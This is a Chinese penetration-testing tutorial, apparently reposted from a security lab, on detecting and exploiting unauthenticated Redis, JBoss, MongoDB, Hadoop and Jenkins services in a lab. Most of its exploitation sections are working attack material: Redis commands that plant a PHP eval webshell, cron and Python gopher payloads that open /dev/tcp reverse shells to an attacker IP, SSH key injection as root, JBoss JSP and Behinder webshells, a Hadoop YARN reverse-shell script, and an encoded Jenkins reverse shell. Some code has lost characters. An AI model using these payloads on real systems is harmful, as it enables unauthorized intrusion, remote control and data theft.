分享

『渗透测试』常见未授权访问总结

 新用户36657816 2021-05-11

来源:宸极实验室

介绍:本文主要介绍了常见未授权访问漏洞的检测以及利用。


0x00 前言

最近测试过程遇到了一些未授权访问的漏洞,就做了一些总结,以后遇到了,可以进行直接参考。

0x01 redis未授权访问



靶机地址:192.168.160.128靶机路径:/var/www/html

判断未授权漏洞存在,如下图:

图片

1.1 漏洞检测

批量检测漏洞脚本:https://github.com/code-scan/rescan

图片

执行结果:

图片

1.2 漏洞利用

1.2.1 利用redis写webshell

利用条件:



1.靶机redis链接未授权,在攻击机上能用redis-cli连上2.开了web服务器,并且知道路径(如利用phpinfo,或者错误爆路经),还需要具有文件读写增删改查权限

依次执行命令如下:









192.168.160.128:6379> config set dir /var/www/htmlOK192.168.160.128:6379> config set dbfilename shell.phpOK192.168.160.128:6379> set webshell '\n\n\n<?php @eval($_POST['shell']);?>\n\n\n'OK192.168.160.128:6379> saveOK
图片

第三步写入webshell时需要使用换行,因为redis写入文件的时候会自带一些版本信息,不换行可能会导致无法执行。

连接shell

图片

1.2.2 利用crontab反弹shell




利用条件:目标redis运行在centos且以root权限启动靶机地址:192.168.160.146攻击机地址:192.168.160.128

先在攻击机开启监听:nc -lvnp 4444 新开窗口依次执行如下命令:






redis-cli -h 192.168.160.146config set dir /var/spool/cronconfig set dbfilename rootset ceshi '\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.160.128/4444 0>&1\n\n'save

图片

成功收到shell:

图片

python脚本利用:




































#!/usr/bin/env python
import urllibprotocol='gopher://'ip='192.168.160.146'port='6379'reverse_ip='192.168.160.1'reverse_port='4444'cron='\n\n\n\n*/1 * * * * bash -i >& /dev/tcp/%s/%s 0>&1\n\n\n\n'%(reverse_ip,reverse_port)filename='root'path='/var/spool/cron'passwd=''cmd=['flushall', 'set 1 {}'.format(cron.replace(' ','${IFS}')), 'config set dir {}'.format(path), 'config set dbfilename {}'.format(filename),'save' ]if passwd: cmd.insert(0,'AUTH {}'.format(passwd))payload=protocol ip ':' port '/_'def redis_format(arr): CRLF='\r\n' redis_arr = arr.split(' ') cmd='' cmd ='*' str(len(redis_arr)) for x in redis_arr: cmd =CRLF '$' str(len((x.replace('${IFS}',' ')))) CRLF x.replace('${IFS}',' ') cmd =CRLF return cmd
if __name__=='__main__': for x in cmd: payload = urllib.quote(redis_format(x)) print payload

执行该脚本,然后curl

图片

最后成功监听到:

图片

计划任务文件:

图片

注:若以 kali 192.168.160.128作为靶机,centos192.168.160.148作为攻击机,反弹不成功。



config set dir /var/spool/cron/crontabs //kali里的计划任务目录是/var/spool/cron/crontabsset ceshi '\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.160.128/4444 0>&1\n\n'

ubuntu也无法反弹。




出现这个问题的原因是linux的cron中执行命令的shell环境是bin/sh。但是ubuntu和kali里的bin/sh指向的dash。而dash这个shell只有运行脚本的能力,没有交互能力。

这里可以查看一下bin/sh的指向。


cd /bin & ls -l | grep -w 'sh'

centos

图片

kali

图片

Ubuntu

图片

如果想通过计划任务反弹shell,参考下列文章:


https://www.dazhuanlan.com/2019/11/15/5dce507a41df5/


1.2.3 利用公私钥认证获取root权限



利用条件:靶机为linux靶机:192.168.160.146

依次在攻击机上执行:




ssh-keygen -t rsa   //在攻击机上生成ssh公钥和私钥,密码设置为空cd /root/.ssh(echo -e '\n\n'; cat id_rsa.pub; echo -e '\n\n') > 1.txt    //将生成的公钥报存为1.txt

图片

然后依次执行:








cat 1.txt | redis-cli -h 192.168.160.146 -x set crack //将保存的ssh公钥写入redisredis-cli -h 192.168.16.146 //登录redis服务CONFIG GET dir //查看redis备份的路径config set dir /root/.ssh //修改redis的备份路径为ssh公钥存放目录CONFIG SET dbfilename authorized_keys //设置上传公钥的备份文件名字为authorized_keysCONFIG GET dbfilename //检查是否更改成功save

图片



ssh -i id_rsa root@192.168.160.146yes

成功登录系统:

图片

1.2.4 主从复制RCE


在redis4.x之后,redis增加了模块功能,通过外部拓展,可以实现在redis中实现一个新的redis命令,通过c语言编译并加载恶意的.so文件,达到代码执行的目的。

适用版本:redis4.x-5.0.5 注:win下的redis的最新版本为3.2。所以win下这个是不行的。利用脚本:https://github.com/n0b0dyCN/redis-rogue-server

图片

脚本使用:


python3 redis-rogue-server.py  --rhost 192.168.160.146 --lhost 192.168.160.1

图片

参考文章:


https://www.jianshu.com/p/77052b00700chttps://www.cnblogs.com/bmjoker/p/9548962.html

如果是win下的redis环境,且无法写webshell的情况下,参考如下文章:



https://xz.aliyun.com/t/7940https://xz.aliyun.com/t/8153

0x02 Jboss未授权访问漏洞

环境:docker的镜像testjboss 判断未授权漏洞存在,访问http://ip//jmx-console

图片

2.1 漏洞检测

检测脚本https://github.com/GGyao/jbossScan

图片

2.2 漏洞利用

2.2.1 写入木马

首先访问:


http://192.168.160.1/jmx-console//HtmlAdaptor?action=invokeOpByName&name=jboss.admin%3Aservice%3DDeploymentFileRepository&methodName=store&argType=java.lang.String&arg0=August.war&argType=java.lang.String&&arg1=shell&argType=java.lang.String&arg2=.jsp&argType=java.lang.String&arg3=%3c%25 if(request.getParameter(%22f%22)!%3dnull)(new java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b %25%3e&argType=boolean&arg4=True

提取相关参数:






arg0:August.war //war包名称arg1:shell  //文件名称arg2:.jsp   //文件后缀名arg3:<% if(request.getParameter('f')!=null)(new java.io.FileOutputStream(application.getRealPath('/') request.getParameter('f'))).write(request.getParameter('t').getBytes()); %>//f=文件名,t=文件内容

执行成功:

图片

创建文件并访问:



http://192.168.160.1/August/shell.jsp?f=2.txt&t=123http://192.168.160.1/August/2.txt

图片

2.2.2 远程部署war包

首先制作war包。 jar cvf ma1.war ma1.jsp

图片

然后部署在自己的服务器上。

图片

  在jmx-console搜索deployment,进入DeploymentScanner。

图片

在addURL()的ParamValue上填写服务器上的war包地址。执行invoke

图片

   执行成功。

图片

返回到刚进入jmx-console的页面,找到jboss.web.deployment,如下说明部署成功。

图片

访问木马地址,上传成功。

图片

2.2.3 本地上传war包2

此处利用DeploymentFileRepository类,把war包部署到已知jmx-console目录下,这样不用知道网站的路径,且避免了其他路径不允许访问的限制。

进入该类后,修改BaseDir的值为./deploy/

图片

然后到store方法里,修改值如下:





p1:jmx-consolep2:ceship3:.jspp4:<%@page import='java.util.*,javax.crypto.*,javax.crypto.spec.*'%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals('POST')){String k='e45e329feb5d925b';/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue('u',k);Cipher c=Cipher.getInstance('AES');c.init(2,new SecretKeySpec(k.getBytes(),'AES'));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>

ps:p4就是冰蝎的马

图片

invoke后,返回成功。

图片

尝试访问http://192.168.160.1/jmx-console/ceshi.jsp,返回200。

图片

冰蝎连上,成功。

图片

2.3 漏洞利用脚本

利用脚本https://github.com/joaomatosf/jexboss


python2 jexboss.py -host http://ip

图片

图片

图片

参考:



https://www.cnblogs.com/rnss/p/13377321.htmlhttps://www.cnblogs.com/Hack-Devil/p/13741604.html

0x03 MongoDB未授权访问

3.1 漏洞检测

通过数据库工具进行连接。 NoSQLBooster工具,下载地址https:///downloads

图片

0x04 hadoop未授权访问

4.1 漏洞利用



靶机:127.0.0.1:8088vulhub的hadoop的环境

访问8088页面,可以直接看到hadoopweb页面。

图片

exp.py如下:





















import requests
target = 'http://127.0.0.1:8088/'lhost = '192.168.160.1' # put your local host ip here, and listen at port 4444
url = target 'ws/v1/cluster/apps/new-application'resp = requests.post(url)app_id = resp.json()['application-id']url = target 'ws/v1/cluster/apps'data = { 'application-id': app_id, 'application-name': 'get-shell', 'am-container-spec': { 'commands': { 'command': '/bin/bash -i >& /dev/tcp/%s/4444 0>&1' % lhost, }, }, 'application-type': 'YARN',}requests.post(url, json=data)

执行如下命令:



nc -lvp 4444python exp.py

成功:

图片

0x05 jenkinis未授权访问

5.1 漏洞检测

访问http://ip:8080/manage,不需要登录就可以访问,就存在漏洞。

图片

5.2 漏洞利用


靶机:192.168.160.145:8080

访问http://192.168.160.145:8080/script 查看一下用户println 'whoami'.execute().text

图片

有可写权限的情况下,可以利用脚本向网站路径写webshell。这里的网站路径是/var/www/html


new File ('/var/www/html/shell.php').write('<?php phpinfo(); ?>');

如果权限不够报错。靶机是ubuntu,开启jenkins服务新建一个jenkins用户,权限不太够。

图片

靶机修改一下用户,用root运行,继续新建文件,无报错,可访问。

图片

图片

进行反弹shell。反弹命令进行编码:http://www./runtime-exec-payloads.html

图片


println 'bash -c {echo,YmFzaCAtaSA JiAvZGV2L3RjcC8xOTIuMTY4LjE2MC4xLzQ0NDQgMD4mMQo=}|{base64,-d}|{bash,-i}'.execute().text

成功反弹。

图片

0x06 总结

本篇文章对常见场景下的未授权访问漏洞的检测和利用进行了总结,主要是为了方便后续测试遇到时的利用,后续希望研究一下某些特定场景下该怎么利用。

图片

    本站是提供个人知识管理的网络存储空间,所有内容均由用户发布,不代表本站观点。请注意甄别内容中的联系方式、诱导购买等信息,谨防诈骗。如发现有害或侵权内容,请点击一键举报。
    转藏 分享 献花(0

    0条评论

    发表

    请遵守用户 评论公约

    类似文章 更多